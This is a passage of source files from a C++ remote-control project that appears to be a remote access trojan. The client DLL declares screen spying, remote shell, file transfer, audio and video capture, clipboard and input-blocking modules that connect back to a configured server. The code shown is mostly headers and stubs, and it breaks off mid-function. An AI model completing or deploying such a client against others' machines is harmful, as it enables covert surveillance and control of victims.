15 |
16 |
17 |
--------------------------------------------------------------------------------
/client/ClientDll/StdAfx.cpp:
--------------------------------------------------------------------------------
1 | // stdafx.cpp : source file that includes just the standard includes
2 | // ClientDll.pch will be the pre-compiled header
3 | // stdafx.obj will contain the pre-compiled type information
4 |
5 | #include "stdafx.h"
6 |
7 | // TODO: reference any additional headers you need in STDAFX.H
8 | // and not in this file
9 |
--------------------------------------------------------------------------------
/client/ClientExe/ClientExe.plg:
--------------------------------------------------------------------------------
1 |
2 |
3 |
15 |
16 |
17 |
--------------------------------------------------------------------------------
/client/ClientExe/default1.bin:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 | ? ?
5 | ? ? ? ?
6 | ? ? ? ? ? ?
7 | ? ? ? ?
8 | ? ?
9 |
10 |
--------------------------------------------------------------------------------
/client/ClientExe/resource.h:
--------------------------------------------------------------------------------
1 | //{{NO_DEPENDENCIES}}
2 | // Microsoft Developer Studio generated include file.
3 | // Used by Script.rc
4 | //
5 | #define IDR_DEFAULT1 101
6 | #define IDR_DLL 102
7 |
8 | // Next default values for new objects
9 | //
10 | #ifdef APSTUDIO_INVOKED
11 | #ifndef APSTUDIO_READONLY_SYMBOLS
12 | #define _APS_NEXT_RESOURCE_VALUE 103
13 | #define _APS_NEXT_COMMAND_VALUE 40001
14 | #define _APS_NEXT_CONTROL_VALUE 1000
15 | #define _APS_NEXT_SYMED_VALUE 101
16 | #endif
17 | #endif
18 |
--------------------------------------------------------------------------------
/client/ClientDll/resource.h:
--------------------------------------------------------------------------------
1 | //{{NO_DEPENDENCIES}}
2 | // Microsoft Developer Studio generated include file.
3 | // Used by Script.rc
4 | //
5 | #define IDD_DIALOG 101
6 | #define IDR_WAVE 102
7 | #define IDC_EDIT_MESSAGE 1000
8 |
9 | // Next default values for new objects
10 | //
11 | #ifdef APSTUDIO_INVOKED
12 | #ifndef APSTUDIO_READONLY_SYMBOLS
13 | #define _APS_NEXT_RESOURCE_VALUE 103
14 | #define _APS_NEXT_COMMAND_VALUE 40001
15 | #define _APS_NEXT_CONTROL_VALUE 1001
16 | #define _APS_NEXT_SYMED_VALUE 101
17 | #endif
18 | #endif
19 |
--------------------------------------------------------------------------------
/client/ClientDll/ClientDll.dsw:
--------------------------------------------------------------------------------
1 | Microsoft Developer Studio Workspace File, Format Version 6.00
2 | # WARNING: DO NOT EDIT OR DELETE THIS WORKSPACE FILE!
3 |
4 | ###############################################################################
5 |
6 | Project: "ClientDll"=.\ClientDll.dsp - Package Owner=<4>
7 |
8 | Package=<5>
9 | {{{
10 | }}}
11 |
12 | Package=<4>
13 | {{{
14 | }}}
15 |
16 | ###############################################################################
17 |
18 | Global:
19 |
20 | Package=<5>
21 | {{{
22 | }}}
23 |
24 | Package=<3>
25 | {{{
26 | }}}
27 |
28 | ###############################################################################
29 |
30 |
--------------------------------------------------------------------------------
/client/ClientExe/ClientExe.dsw:
--------------------------------------------------------------------------------
1 | Microsoft Developer Studio Workspace File, Format Version 6.00
2 | # WARNING: DO NOT EDIT OR DELETE THIS WORKSPACE FILE!
3 |
4 | ###############################################################################
5 |
6 | Project: "ClientExe"=".\ClientExe.dsp" - Package Owner=<4>
7 |
8 | Package=<5>
9 | {{{
10 | }}}
11 |
12 | Package=<4>
13 | {{{
14 | }}}
15 |
16 | ###############################################################################
17 |
18 | Global:
19 |
20 | Package=<5>
21 | {{{
22 | }}}
23 |
24 | Package=<3>
25 | {{{
26 | }}}
27 |
28 | ###############################################################################
29 |
30 |
--------------------------------------------------------------------------------
/client/ClientDll/CursorInfor.h:
--------------------------------------------------------------------------------
1 | // CursorInfor.h: interface for the CCursorInfor class.
2 | //
3 | //////////////////////////////////////////////////////////////////////
4 |
5 | #if !defined(AFX_CURSORINFOR_H__ABC3705B_9461_4A94_B825_26539717C0D6__INCLUDED_)
6 | #define AFX_CURSORINFOR_H__ABC3705B_9461_4A94_B825_26539717C0D6__INCLUDED_
7 |
8 | #if _MSC_VER > 1000
9 | #pragma once
10 | #endif // _MSC_VER > 1000
11 |
12 | #define MAX_CURSOR_TYPE 16
13 | class CCursorInfor
14 | {
15 | public:
16 | CCursorInfor();
17 | virtual ~CCursorInfor();
18 |
19 | int GetCurrentCursorIndex();
20 | };
21 |
22 | #endif // !defined(AFX_CURSORINFOR_H__ABC3705B_9461_4A94_B825_26539717C0D6__INCLUDED_)
23 |
--------------------------------------------------------------------------------
/client/ClientDll/KernelManager.h:
--------------------------------------------------------------------------------
1 | // KernelManager.h: interface for the CKernelManager class.
2 | //
3 | //////////////////////////////////////////////////////////////////////
4 |
5 | #if !defined(AFX_KERNELMANAGER_H__B1186DC0_E4D7_4D1A_A8B8_08A01B87B89E__INCLUDED_)
6 | #define AFX_KERNELMANAGER_H__B1186DC0_E4D7_4D1A_A8B8_08A01B87B89E__INCLUDED_
7 |
8 | #if _MSC_VER > 1000
9 | #pragma once
10 | #endif // _MSC_VER > 1000
11 |
12 | #include "Manager.h"
13 |
14 | class CKernelManager : public CManager
15 | {
16 | public:
17 | CKernelManager::CKernelManager(IOCPClient* ClientObject);
18 | virtual ~CKernelManager();
19 | VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength);
20 |
21 | HANDLE m_hThread[0x1000];
22 | ULONG m_ulThreadCount;
23 | };
24 |
25 | #endif // !defined(AFX_KERNELMANAGER_H__B1186DC0_E4D7_4D1A_A8B8_08A01B87B89E__INCLUDED_)
26 |
--------------------------------------------------------------------------------
/client/ClientDll/RegisterOperation.h:
--------------------------------------------------------------------------------
1 | // RegisterOperation.h: interface for the RegisterOperation class.
2 | //
3 | //////////////////////////////////////////////////////////////////////
4 |
5 | #if !defined(AFX_REGISTEROPERATION_H__BB4F3ED1_FA98_4BA4_97D6_A78E683131CC__INCLUDED_)
6 | #define AFX_REGISTEROPERATION_H__BB4F3ED1_FA98_4BA4_97D6_A78E683131CC__INCLUDED_
7 |
8 | #if _MSC_VER > 1000
9 | #pragma once
10 | #endif // _MSC_VER > 1000
11 |
12 | class RegisterOperation
13 | {
14 | public:
15 | RegisterOperation(char bToken);
16 | virtual ~RegisterOperation();
17 | char* RegisterOperation::FindPath();
18 | HKEY MKEY;
19 | char KeyPath[MAX_PATH];
20 | void RegisterOperation::SetPath(char *szPath);
21 | char* RegisterOperation::FindKey();
22 | };
23 |
24 | #endif // !defined(AFX_REGISTEROPERATION_H__BB4F3ED1_FA98_4BA4_97D6_A78E683131CC__INCLUDED_)
25 |
--------------------------------------------------------------------------------
/client/ClientDll/RegisterManager.h:
--------------------------------------------------------------------------------
1 | // RegisterManager.h: interface for the CRegisterManager class.
2 | //
3 | //////////////////////////////////////////////////////////////////////
4 |
5 | #if !defined(AFX_REGISTERMANAGER_H__2EFB2AB3_C6C9_454E_9BC7_AE35362C85FE__INCLUDED_)
6 | #define AFX_REGISTERMANAGER_H__2EFB2AB3_C6C9_454E_9BC7_AE35362C85FE__INCLUDED_
7 |
8 | #if _MSC_VER > 1000
9 | #pragma once
10 | #endif // _MSC_VER > 1000
11 |
12 | #include "Manager.h"
13 | #include "RegisterOperation.h"
14 |
15 | class CRegisterManager : public CManager
16 | {
17 | public:
18 | CRegisterManager(IOCPClient* ClientObject);
19 | virtual ~CRegisterManager();
20 | VOID OnReceive(PBYTE szBuffer, ULONG ulLength);
21 | VOID CRegisterManager::Find(char bToken, char *szPath);
22 |
23 |
24 |
25 | };
26 |
27 | #endif // !defined(AFX_REGISTERMANAGER_H__2EFB2AB3_C6C9_454E_9BC7_AE35362C85FE__INCLUDED_)
28 |
--------------------------------------------------------------------------------
/client/ClientDll/StdAfx.h:
--------------------------------------------------------------------------------
1 | // stdafx.h : include file for standard system include files,
2 | // or project specific include files that are used frequently, but
3 | // are changed infrequently
4 | //
5 |
6 | #if !defined(AFX_STDAFX_H__46CA6496_AAD6_4658_B6E9_D7AEB26CDCD5__INCLUDED_)
7 | #define AFX_STDAFX_H__46CA6496_AAD6_4658_B6E9_D7AEB26CDCD5__INCLUDED_
8 |
9 | #if _MSC_VER > 1000
10 | #pragma once
11 | #endif // _MSC_VER > 1000
12 |
13 |
14 | // Insert your headers here
15 | #define WIN32_LEAN_AND_MEAN // Exclude rarely-used stuff from Windows headers
16 |
17 | #include
18 |
19 | // TODO: reference additional headers your program requires here
20 |
21 | //{{AFX_INSERT_LOCATION}}
22 | // Microsoft Visual C++ will insert additional declarations immediately before the previous line.
23 |
24 | #endif // !defined(AFX_STDAFX_H__46CA6496_AAD6_4658_B6E9_D7AEB26CDCD5__INCLUDED_)
25 |
--------------------------------------------------------------------------------
/client/ClientDll/TalkManager.h:
--------------------------------------------------------------------------------
1 | // TalkManager.h: interface for the CTalkManager class.
2 | //
3 | //////////////////////////////////////////////////////////////////////
4 |
5 | #if !defined(AFX_TALKMANAGER_H__BF276DAF_7D22_4C3C_BE95_709E29D5614D__INCLUDED_)
6 | #define AFX_TALKMANAGER_H__BF276DAF_7D22_4C3C_BE95_709E29D5614D__INCLUDED_
7 |
8 | #if _MSC_VER > 1000
9 | #pragma once
10 | #endif // _MSC_VER > 1000
11 |
12 | #include "Manager.h"
13 |
14 | class CTalkManager : public CManager
15 | {
16 | public:
17 | CTalkManager(IOCPClient* ClientObject);
18 | virtual ~CTalkManager();
19 | VOID OnReceive(PBYTE szBuffer, ULONG ulLength);
20 |
21 | static int CALLBACK DialogProc(HWND hDlg, unsigned int uMsg,
22 | WPARAM wParam, LPARAM lParam);
23 |
24 | static VOID OnInitDialog(HWND hDlg);
25 | static VOID OnDlgTimer(HWND hDlg);
26 |
27 |
28 | };
29 |
30 | #endif // !defined(AFX_TALKMANAGER_H__BF276DAF_7D22_4C3C_BE95_709E29D5614D__INCLUDED_)
31 |
--------------------------------------------------------------------------------
/server/2015Remote.sln:
--------------------------------------------------------------------------------
1 |
2 | Microsoft Visual Studio Solution File, Format Version 11.00
3 | # Visual Studio 2010
4 | Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "2015Remote", "2015Remote\2015Remote.vcxproj", "{D58E96CD-C41F-4DD1-9502-EF1CB7AC65E5}"
5 | EndProject
6 | Global
7 | GlobalSection(SolutionConfigurationPlatforms) = preSolution
8 | Debug|Win32 = Debug|Win32
9 | Release|Win32 = Release|Win32
10 | EndGlobalSection
11 | GlobalSection(ProjectConfigurationPlatforms) = postSolution
12 | {D58E96CD-C41F-4DD1-9502-EF1CB7AC65E5}.Debug|Win32.ActiveCfg = Debug|Win32
13 | {D58E96CD-C41F-4DD1-9502-EF1CB7AC65E5}.Debug|Win32.Build.0 = Debug|Win32
14 | {D58E96CD-C41F-4DD1-9502-EF1CB7AC65E5}.Release|Win32.ActiveCfg = Release|Win32
15 | {D58E96CD-C41F-4DD1-9502-EF1CB7AC65E5}.Release|Win32.Build.0 = Release|Win32
16 | EndGlobalSection
17 | GlobalSection(SolutionProperties) = preSolution
18 | HideSolutionNode = FALSE
19 | EndGlobalSection
20 | EndGlobal
21 |
--------------------------------------------------------------------------------
/client/ClientDll/Manager.h:
--------------------------------------------------------------------------------
1 | // Manager.h: interface for the CManager class.
2 | //
3 | //////////////////////////////////////////////////////////////////////
4 |
5 | #if !defined(AFX_MANAGER_H__32F1A4B3_8EA6_40C5_B1DF_E469F03FEC30__INCLUDED_)
6 | #define AFX_MANAGER_H__32F1A4B3_8EA6_40C5_B1DF_E469F03FEC30__INCLUDED_
7 |
8 | #if _MSC_VER > 1000
9 | #pragma once
10 | #endif // _MSC_VER > 1000
11 |
12 | #include "IOCPClient.h"
13 |
14 |
15 | class IOCPClient;
16 |
17 | class CManager
18 | {
19 | public:
20 | CManager(IOCPClient* ClientObject);
21 | virtual ~CManager();
22 |
23 | virtual VOID CManager::OnReceive(PBYTE szBuffer, ULONG ulLength){}
24 | IOCPClient* m_ClientObject;
25 | HANDLE m_hEventDlgOpen;
26 | VOID CManager::WaitForDialogOpen();
27 | VOID CManager::NotifyDialogIsOpen();
28 |
29 | int CManager::Send(LPBYTE lpData, UINT nSize);
30 |
31 |
32 | };
33 |
34 | #endif // !defined(AFX_MANAGER_H__32F1A4B3_8EA6_40C5_B1DF_E469F03FEC30__INCLUDED_)
35 |
--------------------------------------------------------------------------------
/client/ClientDll/AudioManager.h:
--------------------------------------------------------------------------------
1 | // AudioManager.h: interface for the CAudioManager class.
2 | //
3 | //////////////////////////////////////////////////////////////////////
4 |
5 | #if !defined(AFX_AUDIOMANAGER_H__B47ECAB3_9810_4031_9E2E_BC34825CAD74__INCLUDED_)
6 | #define AFX_AUDIOMANAGER_H__B47ECAB3_9810_4031_9E2E_BC34825CAD74__INCLUDED_
7 |
8 | #if _MSC_VER > 1000
9 | #pragma once
10 | #endif // _MSC_VER > 1000
11 |
12 | #include "Manager.h"
13 | #include "Audio.h"
14 | class CAudioManager : public CManager
15 | {
16 | public:
17 | VOID OnReceive(PBYTE szBuffer, ULONG ulLength);
18 | BOOL CAudioManager::Initialize();
19 | CAudioManager(IOCPClient* ClientObject);
20 | virtual ~CAudioManager();
21 | BOOL m_bIsWorking;
22 | HANDLE m_hWorkThread;
23 | static DWORD WorkThread(LPVOID lParam);
24 | int CAudioManager::SendRecordBuffer();
25 |
26 | CAudio* m_AudioObject;
27 |
28 | };
29 |
30 | #endif // !defined(AFX_AUDIOMANAGER_H__B47ECAB3_9810_4031_9E2E_BC34825CAD74__INCLUDED_)
31 |
--------------------------------------------------------------------------------
/client/ClientDll/ServicesManager.h:
--------------------------------------------------------------------------------
1 | // ServicesManager.h: interface for the CServicesManager class.
2 | //
3 | //////////////////////////////////////////////////////////////////////
4 |
5 | #if !defined(AFX_SERVICESMANAGER_H__02181EAA_CF77_42DD_8752_D809885D5F08__INCLUDED_)
6 | #define AFX_SERVICESMANAGER_H__02181EAA_CF77_42DD_8752_D809885D5F08__INCLUDED_
7 |
8 | #if _MSC_VER > 1000
9 | #pragma once
10 | #endif // _MSC_VER > 1000
11 |
12 | #include "Manager.h"
13 |
14 | class CServicesManager : public CManager
15 | {
16 | public:
17 | CServicesManager(IOCPClient* ClientObject);
18 | virtual ~CServicesManager();
19 | VOID CServicesManager::SendServicesList();
20 | LPBYTE CServicesManager::GetServicesList();
21 | VOID OnReceive(PBYTE szBuffer, ULONG ulLength);
22 | void CServicesManager::ServicesConfig(PBYTE szBuffer, ULONG ulLength);
23 | SC_HANDLE m_hscManager;
24 |
25 | };
26 |
27 | #endif // !defined(AFX_SERVICESMANAGER_H__02181EAA_CF77_42DD_8752_D809885D5F08__INCLUDED_)
28 |
--------------------------------------------------------------------------------
/client/ClientDll/CursorInfor.cpp:
--------------------------------------------------------------------------------
1 | // CursorInfor.cpp: implementation of the CCursorInfor class.
2 | //
3 | //////////////////////////////////////////////////////////////////////
4 |
5 | #include "stdafx.h"
6 | #include "CursorInfor.h"
7 |
8 |
9 | //////////////////////////////////////////////////////////////////////
10 | // Construction/Destruction
11 | //////////////////////////////////////////////////////////////////////
12 |
13 | CCursorInfor::CCursorInfor()
14 | {
15 |
16 | }
17 |
18 | CCursorInfor::~CCursorInfor()
19 | {
20 |
21 | }
22 |
23 |
24 |
25 | int CCursorInfor::GetCurrentCursorIndex()
26 | {
27 | CURSORINFO ci;
28 | ci.cbSize = sizeof(CURSORINFO);
29 | if (!GetCursorInfo(&ci) || ci.flags != CURSOR_SHOWING)
30 | {
31 | return -1;
32 | }
33 |
34 | int iIndex = 0;
35 | for (iIndex = 0; iIndex < MAX_CURSOR_TYPE; iIndex++)
36 | {
37 | // if (ci.hCursor == CursorHandleArray[iIndex])
38 | break;
39 | }
40 | DestroyCursor(ci.hCursor);
41 |
42 | return iIndex == MAX_CURSOR_TYPE ? -1 : iIndex;
43 |
44 |
45 | }
46 |
--------------------------------------------------------------------------------
/client/ClientDll/SystemManager.h:
--------------------------------------------------------------------------------
1 | // SystemManager.h: interface for the CSystemManager class.
2 | //
3 | //////////////////////////////////////////////////////////////////////
4 |
5 | #if !defined(AFX_SYSTEMMANAGER_H__38ABB010_F90B_4AE7_A2A3_A52808994A9B__INCLUDED_)
6 | #define AFX_SYSTEMMANAGER_H__38ABB010_F90B_4AE7_A2A3_A52808994A9B__INCLUDED_
7 |
8 | #if _MSC_VER > 1000
9 | #pragma once
10 | #endif // _MSC_VER > 1000
11 |
12 | #include "Manager.h"
13 | #include "IOCPClient.h"
14 |
15 | class CSystemManager : public CManager
16 | {
17 | public:
18 | CSystemManager(IOCPClient* ClientObject,BOOL bHow);
19 | virtual ~CSystemManager();
20 | LPBYTE CSystemManager::GetProcessList();
21 | VOID CSystemManager::SendProcessList();
22 | BOOL CSystemManager::DebugPrivilege(const char *szName, BOOL bEnable);
23 | VOID OnReceive(PBYTE szBuffer, ULONG ulLength);
24 | VOID CSystemManager::KillProcess(LPBYTE szBuffer, UINT ulLength);
25 | LPBYTE CSystemManager::GetWindowsList();
26 | static BOOL CALLBACK CSystemManager::EnumWindowsProc(HWND hWnd, LPARAM lParam);
27 | void CSystemManager::SendWindowsList();
28 | void CSystemManager::TestWindow(LPBYTE szBuffer);
29 |
30 | };
31 |
32 | #endif // !defined(AFX_SYSTEMMANAGER_H__38ABB010_F90B_4AE7_A2A3_A52808994A9B__INCLUDED_)
33 |
--------------------------------------------------------------------------------
/client/ClientDll/ScreenManager.h:
--------------------------------------------------------------------------------
1 | // ScreenManager.h: interface for the CScreenManager class.
2 | //
3 | //////////////////////////////////////////////////////////////////////
4 |
5 | #if !defined(AFX_SCREENMANAGER_H__511DF666_6E18_4408_8BD5_8AB8CD1AEF8F__INCLUDED_)
6 | #define AFX_SCREENMANAGER_H__511DF666_6E18_4408_8BD5_8AB8CD1AEF8F__INCLUDED_
7 |
8 | #if _MSC_VER > 1000
9 | #pragma once
10 | #endif // _MSC_VER > 1000
11 |
12 | #include "Manager.h"
13 | #include "ScreenSpy.h"
14 |
15 | class IOCPClient;
16 |
17 | class CScreenManager : public CManager
18 | {
19 | public:
20 | CScreenManager(IOCPClient* ClientObject);
21 | virtual ~CScreenManager();
22 | HANDLE m_hWorkThread;
23 |
24 | static DWORD WINAPI WorkThreadProc(LPVOID lParam);
25 | VOID CScreenManager::SendBitMapInfor();
26 | VOID CScreenManager::OnReceive(PBYTE szBuffer, ULONG ulLength);
27 |
28 | CScreenSpy* m_ScreenSpyObject;
29 | VOID CScreenManager::SendFirstScreen();
30 | VOID CScreenManager::SendNextScreen();
31 |
32 | VOID CScreenManager::ProcessCommand(LPBYTE szBuffer, ULONG ulLength);
33 | BOOL m_bIsWorking;
34 | BOOL m_bIsBlockInput;
35 | VOID CScreenManager::SendClientClipboard();
36 | VOID CScreenManager::UpdateClientClipboard(char *szBuffer, ULONG ulLength);
37 | };
38 |
39 | #endif // !defined(AFX_SCREENMANAGER_H__511DF666_6E18_4408_8BD5_8AB8CD1AEF8F__INCLUDED_)
40 |
--------------------------------------------------------------------------------
/client/ClientDll/FileManager.h:
--------------------------------------------------------------------------------
1 | // FileManager.h: interface for the CFileManager class.
2 | //
3 | //////////////////////////////////////////////////////////////////////
4 |
5 | #if !defined(AFX_FILEMANAGER_H__FA7A4DE1_0123_47FD_84CE_85F4B24149CE__INCLUDED_)
6 | #define AFX_FILEMANAGER_H__FA7A4DE1_0123_47FD_84CE_85F4B24149CE__INCLUDED_
7 |
8 | #if _MSC_VER > 1000
9 | #pragma once
10 | #endif // _MSC_VER > 1000
11 |
12 | #include "Manager.h"
13 | #include "IOCPClient.h"
14 |
15 |
16 | typedef struct
17 | {
18 | DWORD dwSizeHigh;
19 | DWORD dwSizeLow;
20 | }FILE_SIZE;
21 |
22 | class CFileManager : public CManager
23 | {
24 | public:
25 | CFileManager(IOCPClient* ClientObject);
26 | virtual ~CFileManager();
27 |
28 | VOID OnReceive(PBYTE szBuffer, ULONG ulLength);
29 | ULONG CFileManager::SendDiskDriverList() ;
30 | ULONG CFileManager::SendFilesList(char* szDirectoryPath);
31 | VOID CFileManager::CreateClientRecvFile(LPBYTE szBuffer);
32 |
33 | BOOL CFileManager::MakeSureDirectoryPathExists(char* szDirectoryFullPath);
34 | char m_szOperatingFileName[MAX_PATH];
35 | __int64 m_OperatingFileLength;
36 | VOID CFileManager::GetFileData() ;
37 | VOID CFileManager::WriteClientRecvFile(LPBYTE szBuffer, ULONG ulLength);
38 |
39 | ULONG m_ulTransferMode;
40 | VOID CFileManager::SetTransferMode(LPBYTE szBuffer);
41 | VOID CFileManager::Rename(char* szExistingFileFullPath,char* szNewFileFullPath);
42 | };
43 |
44 | #endif // !defined(AFX_FILEMANAGER_H__FA7A4DE1_0123_47FD_84CE_85F4B24149CE__INCLUDED_)
45 |
--------------------------------------------------------------------------------
/client/ClientDll/IOCPClient.h:
--------------------------------------------------------------------------------
1 | // IOCPClient.h: interface for the IOCPClient class.
2 | //
3 | //////////////////////////////////////////////////////////////////////
4 |
5 | #if !defined(AFX_IOCPCLIENT_H__C96F42A4_1868_48DF_842F_BF831653E8F9__INCLUDED_)
6 | #define AFX_IOCPCLIENT_H__C96F42A4_1868_48DF_842F_BF831653E8F9__INCLUDED_
7 |
8 | #if _MSC_VER > 1000
9 | #pragma once
10 | #endif // _MSC_VER > 1000
11 | #include
12 | #include
13 | #include
14 | #include "Buffer.h"
15 | #include "Manager.h"
16 | #pragma comment(lib,"ws2_32.lib")
17 |
18 | #define MAX_RECV_BUFFER 1024*8
19 | #define MAX_SEND_BUFFER 1024*8
20 | #define FLAG_LENGTH 5
21 | #define HDR_LENGTH 13
22 | class IOCPClient
23 | {
24 | public:
25 | IOCPClient();
26 | virtual ~IOCPClient();
27 | SOCKET m_sClientSocket;
28 |
29 | HANDLE m_hWorkThread;
30 |
31 | BOOL IOCPClient::ConnectServer(char* szServerIP, unsigned short uPort);
32 | static DWORD WINAPI WorkThreadProc(LPVOID lParam);
33 |
34 |
35 | VOID IOCPClient::OnServerReceiving(char* szBuffer, ULONG ulReceivedLength);
36 | int IOCPClient::OnServerSending(char* szBuffer, ULONG ulOriginalLength);
37 | BOOL IOCPClient::SendWithSplit(char* szBuffer, ULONG ulLength, ULONG ulSplitLength);
38 |
39 | BOOL IOCPClient::IsRunning()
40 | {
41 | return m_bIsRunning;
42 | }
43 | BOOL m_bIsRunning;
44 |
45 | CBuffer m_WriteBuffer;
46 | CBuffer m_CompressedBuffer;
47 | CBuffer m_DeCompressedBuffer;
48 |
49 | char m_szPacketFlag[FLAG_LENGTH];
50 |
51 | VOID IOCPClient::setManagerCallBack(class CManager* Manager);
52 | HANDLE m_hEvent;
53 |
54 | VOID IOCPClient::Disconnect();
55 | void IOCPClient::RunEventLoop();
56 |
57 | public:
58 | class CManager* m_Manager;
59 |
60 | };
61 |
62 | #endif // !defined(AFX_IOCPCLIENT_H__C96F42A4_1868_48DF_842F_BF831653E8F9__INCLUDED_)
63 |
--------------------------------------------------------------------------------
/client/ClientExe/Script.rc:
--------------------------------------------------------------------------------
1 | //Microsoft Developer Studio generated resource script.
2 | //
3 | #include "resource.h"
4 |
5 | #define APSTUDIO_READONLY_SYMBOLS
6 | /////////////////////////////////////////////////////////////////////////////
7 | //
8 | // Generated from the TEXTINCLUDE 2 resource.
9 | //
10 | #include "afxres.h"
11 |
12 | /////////////////////////////////////////////////////////////////////////////
13 | #undef APSTUDIO_READONLY_SYMBOLS
14 |
15 | /////////////////////////////////////////////////////////////////////////////
16 | // Chinese (P.R.C.) resources
17 |
18 | #if !defined(AFX_RESOURCE_DLL) || defined(AFX_TARG_CHS)
19 | #ifdef _WIN32
20 | LANGUAGE LANG_CHINESE, SUBLANG_CHINESE_SIMPLIFIED
21 | #pragma code_page(936)
22 | #endif //_WIN32
23 |
24 | /////////////////////////////////////////////////////////////////////////////
25 | //
26 | // 24
27 | //
28 |
29 | 1 24 DISCARDABLE "default1.bin"
30 |
31 | #ifdef APSTUDIO_INVOKED
32 | /////////////////////////////////////////////////////////////////////////////
33 | //
34 | // TEXTINCLUDE
35 | //
36 |
37 | 1 TEXTINCLUDE DISCARDABLE
38 | BEGIN
39 | "resource.h\0"
40 | END
41 |
42 | 2 TEXTINCLUDE DISCARDABLE
43 | BEGIN
44 | "#include ""afxres.h""\r\n"
45 | "\0"
46 | END
47 |
48 | 3 TEXTINCLUDE DISCARDABLE
49 | BEGIN
50 | "\r\n"
51 | "\0"
52 | END
53 |
54 | #endif // APSTUDIO_INVOKED
55 |
56 |
57 | /////////////////////////////////////////////////////////////////////////////
58 | //
59 | // DLL
60 | //
61 |
62 | IDR_DLL DLL DISCARDABLE "ClientDll.dll"
63 | #endif // Chinese (P.R.C.) resources
64 | /////////////////////////////////////////////////////////////////////////////
65 |
66 |
67 |
68 | #ifndef APSTUDIO_INVOKED
69 | /////////////////////////////////////////////////////////////////////////////
70 | //
71 | // Generated from the TEXTINCLUDE 3 resource.
72 | //
73 |
74 |
75 | /////////////////////////////////////////////////////////////////////////////
76 | #endif // not APSTUDIO_INVOKED
77 |
78 |
--------------------------------------------------------------------------------
/server/2015Remote/TrueColorToolBar.h:
--------------------------------------------------------------------------------
1 | /***=========================================================================
2 | ==== ====
3 | ==== D C U t i l i t y ====
4 | ==== ====
5 | =============================================================================
6 | ==== ====
7 | ==== File name : TrueColorToolBar.h ====
8 | ==== Project name : Tester ====
9 | ==== Project number : --- ====
10 | ==== Creation date : 13/1/2003 ====
11 | ==== Author(s) : Dany Cantin ====
12 | ==== ====
13 | ==== Copyright ?DCUtility 2003 ====
14 | ==== ====
15 | =============================================================================
16 | ===========================================================================*/
17 |
18 |
19 | #ifndef TRUECOLORTOOLBAR_H_
20 | #define TRUECOLORTOOLBAR_H_
21 |
22 | #if _MSC_VER > 1000
23 | #pragma once
24 | #endif // _MSC_VER > 1000
25 |
26 |
27 | #include
28 |
29 | /////////////////////////////////////////////////////////////////////////////
30 | // CTrueColorToolBar
31 |
32 | class CTrueColorToolBar : public CToolBar
33 | {
34 | // Construction
35 | public:
36 | CTrueColorToolBar();
37 |
38 | // Attributes
39 | private:
40 | BOOL m_bDropDown;
41 |
42 | struct stDropDownInfo {
43 | public:
44 | UINT uButtonID;
45 | UINT uMenuID;
46 | CWnd* pParent;
47 | };
48 |
49 | CArray m_lstDropDownButton;
50 |
51 | // Operations
52 | public:
53 | BOOL LoadTrueColorToolBar(int nBtnWidth,
54 | UINT uToolBar,
55 | UINT uToolBarHot = 0,
56 | UINT uToolBarDisabled = 0);
57 |
58 | void AddDropDownButton(CWnd* pParent, UINT uButtonID, UINT uMenuID);
59 |
60 | private:
61 | BOOL SetTrueColorToolBar(UINT uToolBarType,
62 | UINT uToolBar,
63 | int nBtnWidth);
64 |
65 | // Overrides
66 | // ClassWizard generated virtual function overrides
67 | //{{AFX_VIRTUAL(CTrueColorToolBar)
68 | //}}AFX_VIRTUAL
69 |
70 | // Implementation
71 | public:
72 | virtual ~CTrueColorToolBar();
73 |
74 | // Generated message map functions
75 | protected:
76 | //{{AFX_MSG(CTrueColorToolBar)
77 | afx_msg void OnToolbarDropDown(NMHDR * pnmh, LRESULT* plRes);
78 | //}}AFX_MSG
79 |
80 | DECLARE_MESSAGE_MAP()
81 | };
82 |
83 | /////////////////////////////////////////////////////////////////////////////
84 |
85 | //{{AFX_INSERT_LOCATION}}
86 | // Microsoft Visual C++ will insert additional declarations immediately before the previous line.
87 |
88 | #endif // TRUECOLORTOOLBAR_H_
89 |
--------------------------------------------------------------------------------
/client/ClientDll/Common.cpp:
--------------------------------------------------------------------------------
1 | #include "StdAfx.h"
2 | #include "Common.h"
3 |
4 | #include "ScreenManager.h"
5 | #include "FileManager.h"
6 | #include "TalkManager.h"
7 | #include "ShellManager.h"
8 | #include "SystemManager.h"
9 | #include "AudioManager.h"
10 | #include "RegisterManager.h"
11 | #include "ServicesManager.h"
12 | #include "VideoManager.h"
13 |
14 | extern
15 | char g_szServerIP[MAX_PATH];
16 | extern
17 | unsigned short g_uPort;
18 |
19 |
20 | HANDLE _CreateThread (LPSECURITY_ATTRIBUTES SecurityAttributes,
21 | SIZE_T dwStackSize,
22 | LPTHREAD_START_ROUTINE StartAddress,
23 | LPVOID lParam,
24 | DWORD dwCreationFlags,
25 | LPDWORD ThreadId, bool bInteractive)
26 | {
27 |
28 |
29 | HANDLE hThread = INVALID_HANDLE_VALUE;
30 | THREAD_ARG_LIST ThreadArgList = {0};
31 | ThreadArgList.StartAddress = StartAddress;
32 | ThreadArgList.lParam = (void *)lParam; //IP
33 | ThreadArgList.bInteractive = bInteractive; //??
34 | ThreadArgList.hEvent = CreateEvent(NULL,FALSE,FALSE,NULL);
35 | hThread = (HANDLE)CreateThread(SecurityAttributes,
36 | dwStackSize,(LPTHREAD_START_ROUTINE)ThreadProc, &ThreadArgList,
37 | dwCreationFlags, (LPDWORD)ThreadId);
38 |
39 | WaitForSingleObject(ThreadArgList.hEvent, INFINITE);
40 | CloseHandle(ThreadArgList.hEvent);
41 |
42 | return hThread;
43 |
44 | }
45 |
46 | DWORD WINAPI ThreadProc(LPVOID lParam)
47 | {
48 | THREAD_ARG_LIST ThreadArgList = {0};
49 | memcpy(&ThreadArgList,lParam,sizeof(THREAD_ARG_LIST));
50 | SetEvent(ThreadArgList.hEvent);
51 |
52 | DWORD dwReturn = ThreadArgList.StartAddress(ThreadArgList.lParam);
53 | return dwReturn;
54 | }
55 |
56 |
57 |
58 | DWORD WINAPI LoopScreenManager(LPVOID lParam)
59 | {
60 | IOCPClient ClientObject;
61 | if (!ClientObject.ConnectServer(g_szServerIP,g_uPort))
62 | return -1;
63 |
64 | CScreenManager Manager(&ClientObject);
65 |
66 | ClientObject.RunEventLoop();
67 | return 0;
68 | }
69 |
70 |
71 | DWORD WINAPI LoopFileManager(LPVOID lParam)
72 | {
73 |
74 |
75 | IOCPClient ClientObject;
